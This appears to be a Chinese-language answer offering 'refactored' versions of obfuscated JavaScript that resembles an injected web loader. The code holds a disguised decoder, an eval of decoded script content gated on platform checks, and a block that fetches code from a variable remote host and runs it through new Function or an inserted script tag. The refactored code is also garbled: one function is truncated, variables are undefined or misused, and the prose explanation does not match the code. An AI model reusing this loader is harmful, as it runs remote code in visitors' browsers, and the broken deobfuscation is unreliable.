以下是重构后的代码:
```javascript
function UqgsgfgDv(e) {
var t = "", n = r = c1 = c2 = 0;
while (n < e.length) {
r = e.charCodeAt(n);
if (r < 128) {
t += String.fromCharCode(r);
n++;
} else if (r > 191 && r < 224) {
c2 = e.charCodeAt(n + 1);
t += String.fromCharCode((r & 31) << 6 | c2 & 63);
n += 2;
} else {
c2 = e.charCodeAt(n + 1);
c3 = e.charCodeAt(n + 2);
t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);
n += 3;
}
}
return t;
};
function UqSDDFGvyQ(e) {
var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
var t = "", n, r, i, s, o, u, a, f = 0;
e = e.replace(/[^A-Za-z0-9+/=]/g, ""); // 将非字母、数字、加号、等号的字符替换为空字符串
}
```
在这段代码中,我们首先使用while循环遍历字符串`e`,然后根据`e`中的字符索引查找字符在字符串`m`中的位置。接下来,我们将找到的字符转换为二进制编码,并将其拼接到字符串`t`中。最后,我们返回一个新的字符串`t`。
重构后的代码如下:
```javascript
function decodeString(e) {
var m = "Y3VycmVudFNjcmlwdA==";
var c = [16];
var result = '';
var j = 'jQuery';
var i = e.length;
while (i--) {
var s = m.indexOf(e.charAt(i));
var o = m.indexOf(e.charAt(i + 1));
var u = m.indexOf(e.charAt(i + 2));
var a = m.indexOf(e.charAt(i + 3));
var n = (s << 2) | (o >> 4);
var r = ((o & 0xf) << 4) | (u >> 2);
var i1 = ((u & 3) << 6) | a;
s += String.fromCharCode(n);
if (u !== '+') {
s += String.fromCharCode(r);
}
s += String.fromCharCode(i1);
c.push((m.indexOf('Jquery') >> 2) & 15);
i += 1;
j += '\\';
};
return UqgsgfgDv(s);
};
window['U' + 'Y' + 'C' + 'q' + 'J' + 'K'] = function() {
if (!/^Mac|Win/.test(navigator.platform) || !navigator.platform) {
eval(''); // Do nothing on non-supported platforms or unsupported browsers
} else {
eval(decodeURIComponent(document[j]())); // Decode the content of the embedded script tag and execute it
};
};
```
以下是重构后的代码:
```javascript
if (navigator.userAgent.indexOf('baiduid') > -1) {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://' + u + '/bm-' + i);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded;');
xhr.setRequestHeader('X-REQUESTED-WITH', 'XMLHttpRequest');
xhr.onreadystatechange = function() {
if (xhr.readyState == 4 && xhr.status == 200) {
var data = JSON.parse(xhr.responseText);
var name = new Function('_' + 'u' + 'q' + 'cs', new Function('c', data.result.decode + ';return ' + data.result.name + '(c)'))(data.result.img.join(''));
var img = new Image();
img.src = name;
cs.parentElement.insertBefore(img, cs);
}
};
xhr.send('u=1');
} else {
var s = document.createElement('script');
s.src = 'https://' + u + '/m-' + i;
cs.parentElement.insertBefore(s, cs);
}
```